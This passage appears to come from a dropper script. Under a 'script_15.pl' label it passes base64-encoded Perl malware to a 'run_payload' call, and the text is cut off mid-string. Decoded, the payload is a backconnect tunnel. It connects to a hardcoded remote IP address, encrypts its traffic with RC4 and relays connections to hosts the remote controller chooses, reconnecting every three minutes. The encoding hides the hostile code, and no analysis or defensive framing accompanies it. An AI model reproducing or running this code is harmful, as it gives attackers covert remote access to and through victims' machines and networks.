CSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_15.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY0JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCg